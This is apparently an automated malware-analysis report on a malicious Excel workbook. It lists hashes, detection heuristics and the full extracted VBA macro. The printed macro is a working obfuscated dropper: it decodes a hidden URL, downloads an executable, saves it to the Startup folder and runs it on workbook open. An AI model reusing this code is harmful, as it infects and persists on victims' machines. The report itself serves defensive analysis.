Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4fa17dd3c1ea4872…

MALICIOUS

Office (OLE)

168.0 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel First seen: 2021-02-23
MD5: 75e2f4a84c094c637fdea7916c320a99 SHA-1: e2a54be9e6340765661bdcc1fe089e7512d4b3af SHA-256: 4fa17dd3c1ea4872ad7a3ba99b45a2af6a1dca4cd61da49450983a0125cfc836
350 Risk Score

Heuristics 10

  • ClamAV: Xls.Downloader.Generic-6839042-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Generic-6839042-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    NDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDIIHKVYCRXX = CreateObject("WScript.Shell").Specialfolders(7) + KHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKTENKFUZZY
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
    LRLKHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKT = WITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDII.responseBody
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set WEJZZTMZLRYPYRTGBYVFEPZMPNTUCNNSXUJRBKURMCGHGIBXBQWWEGHDPXTMDEODFLQCICUITTHXHZCOCHEN = CreateObject("Shell.Application")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Workbook_Open macro low OLE_VBA_WBOPEN
    Workbook_Open macro
    Matched line in script
    Private Sub Workbook_open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# Referenced by macro
    • http://ns.adobe.com/photoshop/1.0/Referenced by macro
    • http://ns.adobe.com/xap/1.0/mm/Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#Referenced by macro
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#Referenced by macro
    • http://purl.org/dc/elements/1.1/Referenced by macro
    • http://ns.adobe.com/xap/1.0/Referenced by macro
    • http://ns.adobe.com/tiff/1.0/Referenced by macro
    • http://ns.adobe.com/exif/1.0/Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 5011 bytes
SHA-256: 09b979f96a90060c3c6062acee90b5d37747f64e7468d808c63a529e7f2e1c76
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub jhjhjh()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_open()
Set WEJZZTMZLRYPYRTGBYVFEPZMPNTUCNNSXUJRBKURMCGHGIBXBQWWEGHDPXTMDEODFLQCICUITTHXHZCOCHEN = CreateObject("Shell.Application")
Set WITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDII = CreateObject("microsoft.xmlhttp")
Set GNLDJWWKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTLLEESWDQBQCLRL = CreateObject("adodb.stream")
KHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKTENKFUZZY = HWVMHQMHOTLLEESWDQBQCLRLKHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRK("]FDWHC/fyf")
ENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDIIHKVYCRXXGHJFRYVNEFPE = HWVMHQMHOTLLEESWDQBQCLRLKHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRK("iuuq;00pofesjwfofu/yz{0`pvuqvu5E21BC1/fyf!")

NDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDIIHKVYCRXX = CreateObject("WScript.Shell").Specialfolders(7) + KHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKTENKFUZZY
WITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDII.Open "GET", ENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDIIHKVYCRXXGHJFRYVNEFPE, False
WITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDII.send
LRLKHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKT = WITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDII.responseBody
If WITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDII.Status = 200 Then
GNLDJWWKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTLLEESWDQBQCLRL.Open
GNLDJWWKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTLLEESWDQBQCLRL.Type = 1
GNLDJWWKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTLLEESWDQBQCLRL.Write LRLKHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKT
GNLDJWWKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTLLEESWDQBQCLRL.SaveToFile NDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDIIHKVYCRXX, 2
GNLDJWWKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTLLEESWDQBQCLRL.Close
End If
WEJZZTMZLRYPYRTGBYVFEPZMPNTUCNNSXUJRBKURMCGHGIBXBQWWEGHDPXTMDEODFLQCICUITTHXHZCOCHEN.Open (NDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDIIHKVYCRXX)


End Sub

Function HWVMHQMHOTLLEESWDQBQCLRLKHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRK(MZTSPYWITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVK)
MNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVW = 10 - 9
        GHJFRYVNEFPEGNLDJWWKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTL = ""
    For LEESWDQBQCLRLKHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKTE = MNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVW To Len(MZTSPYWITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVK)
        WKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTLLEESWDQBQCLRLKHQOZRWZXE = Asc(Mid(MZTSPYWITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVK, LEESWDQBQCLRLKHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKTE, MNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVW))

            NKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDIIHKVYCRXXGHJFRYVNEFPEGNLDJW = WKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTLLEESWDQBQCLRLKHQOZRWZXE - MNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRKMZTSPYWITFIGMNVGHLQNDKTENKFUZZYCTQUJPPXZBWJQNFVW
        GHJFRYVNEFPEGNLDJWWKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTL = GHJFRYVNEFPEGNLDJWWKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTL & Chr(NKFUZZYCTQUJPPXZBWJQNFVWHVXFKUBUOCMMZQZSUIUBXGFQBNJINVEOIMYVKLCMOSNDIIHKVYCRXXGHJFRYVNEFPEGNLDJW)
    Next
    HWVMHQMHOTLLEESWDQBQCLRLKHQOZRWZXEMNXYDPFUCSVFJETRRQTMIMBOHPRSOBPFWUOYUPWCTSMGTFLSJRK = GHJFRYVNEFPEGNLDJWWKOUISITDPDIGOGRJPRQVELPQUHESTKNWBVLJJILEHKSGGOJKGSHWVMHQMHOTL
End Function

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

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